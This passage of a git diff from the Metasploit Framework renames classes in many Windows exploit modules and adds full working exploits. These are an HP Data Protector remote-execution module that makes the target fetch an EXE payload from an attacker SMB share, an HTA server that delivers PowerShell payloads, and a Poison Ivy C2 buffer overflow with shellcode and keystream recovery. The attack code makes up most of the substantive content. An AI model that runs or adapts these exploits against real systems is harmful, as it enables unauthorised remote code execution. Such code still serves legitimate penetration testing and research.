['CVE', '2011-0922'], + ['URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02781143'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Payload' => + { + 'Space' => 2048, + 'DisableNops' => true + }, + 'Privileged' => true, + 'Platform' => 'win', + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'Targets' => + [ + [ 'HP Data Protector 6.10/6.11/6.20 / Windows', { } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Nov 02 2011')) + + register_options( + [ + Opt::RPORT(5555), + OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15]) + ], self.class) + + deregister_options('FOLDER_NAME') + deregister_options('FILE_CONTENTS') + deregister_options('SHARE') + deregister_options('FILE_NAME') + end + + def peer + "#{rhost}:#{rport}" + end + + def check + fingerprint = get_fingerprint + + if fingerprint.nil? + vprint_status('Unable to fingerprint because no response.') + return Exploit::CheckCode::Unknown + end + + vprint_status("#{peer} - #{fingerprint}") + + if fingerprint =~ /HP Data Protector A\.06\.(\d+)/i + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Safe + end + + Exploit::CheckCode::Detected + end + + def get_fingerprint + ommni = connect + ommni.put(rand_text_alpha_upper(64)) + resp = ommni.get_once(-1) + disconnect + + return nil if resp.nil? + + # Delete unicode last null + Rex::Text.to_ascii(resp).chop.chomp + end + + def primer + self.file_contents = generate_payload_exe + self.file_name = "installservice.exe" + self.share = "Omniback\\i386" + + print_status("File available on #{unc}...") + vprint_status("#{peer} - Trying to execute remote EXE...") + + lhost = "#{datastore['SRVHOST']}" + lhostfull = "" + lhost.each_char do |character| + lhostfull = lhostfull << "\x00" << character + end + + packet = "\x00\x00\x01\xbe\xff\xfe\x32\x00\x00\x00\x20" + packet << lhostfull + packet << "\x00\x00\x00\x20\x00\x30\x00" + packet << "\x00\x00\x20\x00\x53\x00\x59\x00\x53\x00\x54\x00\x45\x00\x4d\x00" + packet << "\x00\x00\x20\x00\x4e\x00\x54\x00\x20\x00\x41\x00\x55\x00\x54\x00" + packet << "\x48\x00\x4f\x00\x52\x00\x49\x00\x54\x00\x59\x00\x00\x00\x20\x00" + packet << "\x43\x00\x00\x00\x20\x00\x32\x00\x36\x00\x00\x00\x20\x00\x5c\x00" + packet << "\x5c" + packet << lhostfull + packet << "\x00\x5c\x00\x4f\x00\x6d\x00\x6e\x00\x69\x00\x62\x00" + packet << "\x61\x00\x63\x00\x6b\x00\x5c\x00\x69\x00\x33\x00\x38\x00\x36\x00" + packet << "\x5c\x00\x69\x00\x6e\x00\x73\x00\x74\x00\x61\x00\x6c\x00\x6c\x00" + packet << "\x73\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x2e\x00" + packet << "\x65\x00\x78\x00\x65\x00\x20\x00\x2d\x00\x73\x00\x6f\x00\x75\x00" + packet << "\x72\x00\x63\x00\x65\x00\x20\x4f\x00\x6d\x00\x6e\x00\x69\x00\x62" + packet << "\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x5c\x00\x5c" + packet << lhostfull + packet << "\x5c\x00\x5c\x00\x4f\x00" + packet << "\x6d\x00\x6e\x00\x69\x00\x62\x00\x61\x00\x63\x00\x6b\x00\x5c\x00" + packet << "\x69\x00\x33\x00\x38\x00\x36\x00\x5c\x00\x69\x00\x6e\x00\x73\x00" + packet << "\x74\x00\x61\x00\x6c\x00\x6c\x00\x73\x00\x65\x00\x72\x00\x76\x00" + packet << "\x69\x00\x63\x00\x65\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x20\x00" + packet << "\x2d\x00\x73\x00\x6f\x00\x75\x00\x72\x00\x63\x00\x65\x00\x20\x00" + packet << "\x5c\x00\x5c" + packet << lhostfull + packet << "\x00\x5c\x00\x4f\x00\x6d\x00\x6e\x00\x69\x00\x62\x00\x61\x00\x63" + packet << "\x00\x6b\x00\x20\x00\x00\x00\x00\x00\x00\x00\x02\x54" + packet << "\xff\xfe\x32\x00\x36\x00\x00\x00\x20\x00\x5b\x00\x30\x00\x5d\x00" + packet << "\x41\x00\x44\x00\x44\x00\x2f\x00\x55\x00\x50\x00\x47\x00\x52\x00" + packet << "\x41\x00\x44\x00\x45\x00\x0a\x00\x5c\x00\x5c" + packet << lhostfull + packet << "\x00\x5c\x00\x4f\x00\x6d\x00\x6e\x00\x69\x00\x62\x00\x61\x00\x63" + packet << "\x00\x6b\x00\x5c\x00\x69\x00\x33\x00\x38\x00\x36\x00" + + connect + sock.put(packet) + disconnect + end + + def exploit + begin + Timeout.timeout(datastore['SMB_DELAY']) {super} + rescue Timeout::Error + # Stop SMB Server + end + end +end diff --git a/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb b/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb index 0286f2ec02..65676817b8 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/hp_dataprotector_traversal.rb b/modules/exploits/windows/misc/hp_dataprotector_traversal.rb index a61d414c6c..779082e32e 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_traversal.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_traversal.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/hp_imc_uam.rb b/modules/exploits/windows/misc/hp_imc_uam.rb index 8055b0d947..6ba32d2958 100644 --- a/modules/exploits/windows/misc/hp_imc_uam.rb +++ b/modules/exploits/windows/misc/hp_imc_uam.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb index fb664c9ae6..7f7d4d2696 100644 --- a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb +++ b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp @@ -35,7 +35,6 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'SSL' => true, - 'SSLVersion' => 'SSL3', 'PrependMigrate' => true }, 'Payload' => diff --git a/modules/exploits/windows/misc/hp_magentservice.rb b/modules/exploits/windows/misc/hp_magentservice.rb index 80b04a5bdc..041554ef94 100644 --- a/modules/exploits/windows/misc/hp_magentservice.rb +++ b/modules/exploits/windows/misc/hp_magentservice.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp @@ -37,7 +37,6 @@ class Metasploit3 < Msf::Exploit::Remote { 'EXITFUNC' => 'seh', 'SSL' => true, - 'SSLVersion' => 'SSL3' }, 'Payload' => { diff --git a/modules/exploits/windows/misc/hp_omniinet_1.rb b/modules/exploits/windows/misc/hp_omniinet_1.rb index b168c6ff5a..6da50b07fa 100644 --- a/modules/exploits/windows/misc/hp_omniinet_1.rb +++ b/modules/exploits/windows/misc/hp_omniinet_1.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/hp_omniinet_2.rb b/modules/exploits/windows/misc/hp_omniinet_2.rb index 404dd0458a..f5dbf7bd77 100644 --- a/modules/exploits/windows/misc/hp_omniinet_2.rb +++ b/modules/exploits/windows/misc/hp_omniinet_2.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/hp_omniinet_3.rb b/modules/exploits/windows/misc/hp_omniinet_3.rb index f8aeca8a72..e0332ba2a2 100644 --- a/modules/exploits/windows/misc/hp_omniinet_3.rb +++ b/modules/exploits/windows/misc/hp_omniinet_3.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/hp_omniinet_4.rb b/modules/exploits/windows/misc/hp_omniinet_4.rb index 2670342a6c..4128ceaf0c 100644 --- a/modules/exploits/windows/misc/hp_omniinet_4.rb +++ b/modules/exploits/windows/misc/hp_omniinet_4.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb b/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb index 67a59e7911..a7e2b6619a 100644 --- a/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb +++ b/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb b/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb index d9e85a05f9..704f3f28c4 100644 --- a/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb +++ b/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/hp_ovtrace.rb b/modules/exploits/windows/misc/hp_ovtrace.rb index 0612f411ef..77ff5cd927 100644 --- a/modules/exploits/windows/misc/hp_ovtrace.rb +++ b/modules/exploits/windows/misc/hp_ovtrace.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/hta_server.rb b/modules/exploits/windows/misc/hta_server.rb new file mode 100644 index 0000000000..4c266412e6 --- /dev/null +++ b/modules/exploits/windows/misc/hta_server.rb @@ -0,0 +1,56 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HTA Web Server', + 'Description' => %q( + This module hosts an HTML Application (HTA) that when opened will run a + payload via Powershell. When a user navigates to the HTA file they will + be prompted by IE twice before the payload is executed. + ), + 'License' => MSF_LICENSE, + 'Author' => 'Spencer McIntyre', + 'References' => + [ + ['URL', 'https://www.trustedsec.com/july-2015/malicious-htas/'] + ], + # space is restricted by the powershell command limit + 'Payload' => { 'DisableNops' => true, 'Space' => 2048 }, + 'Platform' => %w(win), + 'Targets' => + [ + [ 'Powershell x86', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ], + [ 'Powershell x64', { 'Platform' => 'win', 'Arch' => ARCH_X86_64 } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Oct 06 2016' + )) + end + + def on_request_uri(cli, _request) + print_status('Delivering Payload') + p = regenerate_payload(cli) + data = Msf::Util::EXE.to_executable_fmt( + framework, + target.arch, + target.platform, + p.encoded, + 'hta-psh', + { :arch => target.arch, :platform => target.platform } + ) + send_response(cli, data, 'Content-Type' => 'application/hta') + end + + def random_uri + # uri needs to end in .hta for IE to process the file correctly + '/' + Rex::Text.rand_text_alphanumeric(rand(10) + 6) + '.hta' + end +end diff --git a/modules/exploits/windows/misc/ib_isc_attach_database.rb b/modules/exploits/windows/misc/ib_isc_attach_database.rb index 85ad7d3da3..8b90ae8b18 100644 --- a/modules/exploits/windows/misc/ib_isc_attach_database.rb +++ b/modules/exploits/windows/misc/ib_isc_attach_database.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/ib_isc_create_database.rb b/modules/exploits/windows/misc/ib_isc_create_database.rb index 794f12d3c6..19e55148ad 100644 --- a/modules/exploits/windows/misc/ib_isc_create_database.rb +++ b/modules/exploits/windows/misc/ib_isc_create_database.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/ib_svc_attach.rb b/modules/exploits/windows/misc/ib_svc_attach.rb index ce739237e8..7a177f1417 100644 --- a/modules/exploits/windows/misc/ib_svc_attach.rb +++ b/modules/exploits/windows/misc/ib_svc_attach.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb b/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb index 7d538a816f..2b8ed7bd4c 100644 --- a/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb +++ b/modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp @@ -38,7 +38,6 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'SSL' => true, - 'SSLVersion' => 'TLS1' }, 'Payload' => { diff --git a/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb b/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb index b8b84e1f1c..965e5cc20c 100644 --- a/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb +++ b/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/misc/ibm_tsm_cad_ping.rb b/modules/exploits/windows/misc/ibm_tsm_cad_ping.rb index cf81053e33..af43d8f24c 100644 --- a/modules/exploits/windows/misc/ibm_tsm_cad_ping.rb +++ b/modules/exploits/windows/misc/ibm_tsm_cad_ping.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb b/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb index 1457cd8de1..6a5f5a1bdb 100644 --- a/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb +++ b/modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/itunes_extm3u_bof.rb b/modules/exploits/windows/misc/itunes_extm3u_bof.rb index e101f6beda..f1f6199933 100644 --- a/modules/exploits/windows/misc/itunes_extm3u_bof.rb +++ b/modules/exploits/windows/misc/itunes_extm3u_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/misc/landesk_aolnsrvr.rb b/modules/exploits/windows/misc/landesk_aolnsrvr.rb index fc6e775b23..e6aa0aa5eb 100644 --- a/modules/exploits/windows/misc/landesk_aolnsrvr.rb +++ b/modules/exploits/windows/misc/landesk_aolnsrvr.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/misc/lianja_db_net.rb b/modules/exploits/windows/misc/lianja_db_net.rb index 9831813bbc..b9e6600298 100644 --- a/modules/exploits/windows/misc/lianja_db_net.rb +++ b/modules/exploits/windows/misc/lianja_db_net.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::RopDb diff --git a/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb b/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb index 1d451f3d3d..1ce06c4926 100644 --- a/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb +++ b/modules/exploits/windows/misc/manageengine_eventlog_analyzer_rce.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/misc/mercury_phonebook.rb b/modules/exploits/windows/misc/mercury_phonebook.rb index a856002418..1ca77aead5 100644 --- a/modules/exploits/windows/misc/mercury_phonebook.rb +++ b/modules/exploits/windows/misc/mercury_phonebook.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/mini_stream.rb b/modules/exploits/windows/misc/mini_stream.rb index 19c613356f..5bfbbb284b 100644 --- a/modules/exploits/windows/misc/mini_stream.rb +++ b/modules/exploits/windows/misc/mini_stream.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/misc/mirc_privmsg_server.rb b/modules/exploits/windows/misc/mirc_privmsg_server.rb index c147e4ca8a..fdfaf0add6 100644 --- a/modules/exploits/windows/misc/mirc_privmsg_server.rb +++ b/modules/exploits/windows/misc/mirc_privmsg_server.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer diff --git a/modules/exploits/windows/misc/ms07_064_sami.rb b/modules/exploits/windows/misc/ms07_064_sami.rb index 8450f0562a..0d81ba82c5 100644 --- a/modules/exploits/windows/misc/ms07_064_sami.rb +++ b/modules/exploits/windows/misc/ms07_064_sami.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer diff --git a/modules/exploits/windows/misc/ms10_104_sharepoint.rb b/modules/exploits/windows/misc/ms10_104_sharepoint.rb index c61e866b07..e021f4f11e 100644 --- a/modules/exploits/windows/misc/ms10_104_sharepoint.rb +++ b/modules/exploits/windows/misc/ms10_104_sharepoint.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/windows/misc/netcat110_nt.rb b/modules/exploits/windows/misc/netcat110_nt.rb index a89f98e2de..ca13a1fbef 100644 --- a/modules/exploits/windows/misc/netcat110_nt.rb +++ b/modules/exploits/windows/misc/netcat110_nt.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/nettransport.rb b/modules/exploits/windows/misc/nettransport.rb index 20139031b8..9c93950deb 100644 --- a/modules/exploits/windows/misc/nettransport.rb +++ b/modules/exploits/windows/misc/nettransport.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/nvidia_mental_ray.rb b/modules/exploits/windows/misc/nvidia_mental_ray.rb index 82a4b8f7a3..592f64903d 100644 --- a/modules/exploits/windows/misc/nvidia_mental_ray.rb +++ b/modules/exploits/windows/misc/nvidia_mental_ray.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/poisonivy_21x_bof.rb b/modules/exploits/windows/misc/poisonivy_21x_bof.rb new file mode 100644 index 0000000000..a386dff6ef --- /dev/null +++ b/modules/exploits/windows/misc/poisonivy_21x_bof.rb @@ -0,0 +1,194 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Poison Ivy 2.1.x C2 Buffer Overflow', + 'Description' => %q{ + This module exploits a stack buffer overflow in the Poison Ivy 2.1.x C&C server. + The exploit does not need to know the password chosen for the bot/server communication. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jos Wetzels' # Vulnerability Discovery, exploit & Metasploit module + ], + 'References' => + [ + [ 'URL', 'http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware' ], + ], + 'DisclosureDate' => 'Jun 03 2016', + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Payload' => + { + 'Space' => 0x847 # limited by amount of known plaintext (hard upper limit is 0xFFD) + }, + 'Platform' => 'win', + 'Targets' => + [ + [ + 'Poison Ivy 2.1.4 on Windows XP SP3', + { + 'Ret' => 0x00469159, # jmp esp from "Poison Ivy 2.1.4.exe" + 'StoreAddress' => 0x00520000, # .tls section address from "Poison Ivy 2.1.4.exe" + 'InfoSizeOffset' => 0x1111, # offset of InfoSize variable + 'DecompressSizeOffset' => 0x1109, # offset of DecompressSize variable + 'Packet2Offset' => 0xB9E # offset of second packet within server's response + } + ] + ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(3460) + ], self.class) + + end + + # XOR two strings + def xor_strings(s1, s2) + s1.unpack('C*').zip(s2.unpack('C*')).map{ |a,b| a ^ b }.pack('C*') + end + + # Obtain keystream using known plaintext + def get_keystream(ciphertext, knownPlaintext) + if(ciphertext.length < knownPlaintext.length) + return xor_strings(ciphertext, knownPlaintext[0, ciphertext.length]) + else + return xor_strings(ciphertext, knownPlaintext) + end + end + + # Apply keystream to plaintext + def use_keystream(plaintext, keyStream) + if(keyStream.length > plaintext.length) + return xor_strings(plaintext, keyStream[0, plaintext.length]) + else + return xor_strings(plaintext, keyStream) + end + end + + def check + connect + # Poke + sock.put("\x01") + # Fetch response + response = sock.get_once(6) + + if (response == "\x89\xFF\x90\x0B\x00\x00") + vprint_status("Poison Ivy C&C version 2.1.4 detected.") + return Exploit::CheckCode::Appears + elsif (response == "\x89\xFF\x38\xE0\x00\x00") + vprint_status("Poison Ivy C&C version 2.0.0 detected.") + return Exploit::CheckCode::Safe + end + + return Exploit::CheckCode::Safe + end + + # Load known plaintext chunk + def load_c2_packet_chunk + path = ::File.join(Msf::Config.data_directory, 'exploits', 'poison_ivy_c2', 'chunk_214.bin') + chunk = ::File.open(path, 'rb') { |f| chunk = f.read } + chunk + end + + def exploit + # Known plaintext from C2 packet + knownPlaintext1 = "\x89\x00\x69\x0c\x00\x00" + knownPlaintext2 = load_c2_packet_chunk() + + # detour shellcode (mov eax, StoreAddress; jmp eax) + detourShellcode = "\xB8" + [target['StoreAddress']].pack("V") # mov eax, StoreAddress + detourShellcode << "\xFF\xE0" # jmp eax + + # Padding where necessary + compressedBuffer = payload.encoded + Rex::Text.rand_text_alpha(0xFFD - payload.encoded.length) + + # Construct exploit buffer + exploitBuffer = Rex::Text.rand_text_alpha(4) # infoLen (placeholder) + exploitBuffer << compressedBuffer # compressedBuffer + exploitBuffer << "\xFF" * 0x104 # readfds + exploitBuffer << Rex::Text.rand_text_alpha(4) # compressionType + exploitBuffer << Rex::Text.rand_text_alpha(4) # decompressSize (placeholder) + exploitBuffer << Rex::Text.rand_text_alpha(4) # pDestinationSize + exploitBuffer << Rex::Text.rand_text_alpha(4) # infoSize (placeholder) + exploitBuffer << Rex::Text.rand_text_alpha(4) # headerAllocSize + exploitBuffer << [target['StoreAddress']].pack("V") # decompressBuffer + exploitBuffer << Rex::Text.rand_text_alpha(4) # decompressBuffer+4 + exploitBuffer << Rex::Text.rand_text_alpha(4) # lParam + exploitBuffer << Rex::Text.rand_text_alpha(4) # timeout + exploitBuffer << Rex::Text.rand_text_alpha(4) # hWnd + exploitBuffer << Rex::Text.rand_text_alpha(4) # s + exploitBuffer << Rex::Text.rand_text_alpha(4) # old EBP + exploitBuffer << [target['Ret']].pack("V") # EIP + exploitBuffer << [target['StoreAddress']].pack("V") # arg_0 + exploitBuffer << detourShellcode # detour to storage area + + # Calculate values + allocSize = exploitBuffer.length + 1024 + infoLen = payload.encoded.length + infoSize = (infoLen + 4) + + # Handshake + connect + print_status("Performing handshake...") + + # Poke + sock.put("\x01") + + # Fetch response + response = sock.get(target['Packet2Offset'] + knownPlaintext1.length + infoSize) + + eHeader = response[target['Packet2Offset'], 6] + eInfo = response[target['Packet2Offset'] + 10..-1] + + if ((eHeader.length >= knownPlaintext1.length) and (knownPlaintext1.length >= 6) and (eInfo.length >= knownPlaintext2.length) and (knownPlaintext2.length >= infoSize)) + # Keystream derivation using Known Plaintext Attack + keyStream1 = get_keystream(eHeader, knownPlaintext1) + keyStream2 = get_keystream(eInfo, knownPlaintext2) + + # Set correct infoLen + exploitBuffer = [infoLen].pack("V") + exploitBuffer[4..-1] + + # Set correct decompressSize + exploitBuffer = exploitBuffer[0, target['DecompressSizeOffset']] + [infoSize].pack("V") + exploitBuffer[(target['DecompressSizeOffset'] + 4)..-1] + + # Build packet + malHeader = use_keystream("\x89\x01" + [allocSize].pack("V"), keyStream1) + + # Encrypt infoSize bytes + encryptedExploitBuffer = use_keystream(exploitBuffer[0, infoSize], keyStream2) + exploitBuffer[infoSize..-1] + + # Make sure infoSize gets overwritten properly since it is processed before decryption + encryptedExploitBuffer = encryptedExploitBuffer[0, target['InfoSizeOffset']] + [infoSize].pack("V") + encryptedExploitBuffer[target['InfoSizeOffset']+4..-1] + + # Finalize packet + exploitPacket = malHeader + [encryptedExploitBuffer.length].pack("V") + encryptedExploitBuffer + + print_status("Sending exploit...") + # Send exploit + sock.put(exploitPacket) + else + print_status("Not enough keystream available...") + end + + select(nil,nil,nil,5) + disconnect + end + +end diff --git a/modules/exploits/windows/misc/poisonivy_bof.rb b/modules/exploits/windows/misc/poisonivy_bof.rb index ed26b02365..92a41a9510 100644 --- a/modules/exploits/windows/misc/poisonivy_bof.rb +++ b/modules/exploits/windows/misc/poisonivy_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/misc/poppeeper_date.rb b/modules/exploits/windows/misc/poppeeper_date.rb index a5637b1b3e..b00e4573e5 100644 --- a/modules/exploits/windows/misc/poppeeper_date.rb +++ b/modules/exploits/windows/misc/poppeeper_date.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer diff --git a/modules/exploits/windows/misc/poppeeper_uidl.rb b/modules/exploits/windows/misc/poppeeper_uidl.rb index ef53ef6207..82bf4b2499 100644 --- a/modules/exploits/windows/misc/poppeeper_uidl.rb +++ b/modules/exploits/windows/misc/poppeeper_uidl.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer diff --git a/modules/exploits/windows/misc/realtek_playlist.rb b/modules/exploits/windows/misc/realtek_playlist.rb index 9a477457b6..b1d3e0876d 100644 --- a/modules/exploits/windows/misc/realtek_playlist.rb +++ b/modules/exploits/windows/misc/realtek_playlist.rb @@ -5,7 +5,7 @@ require 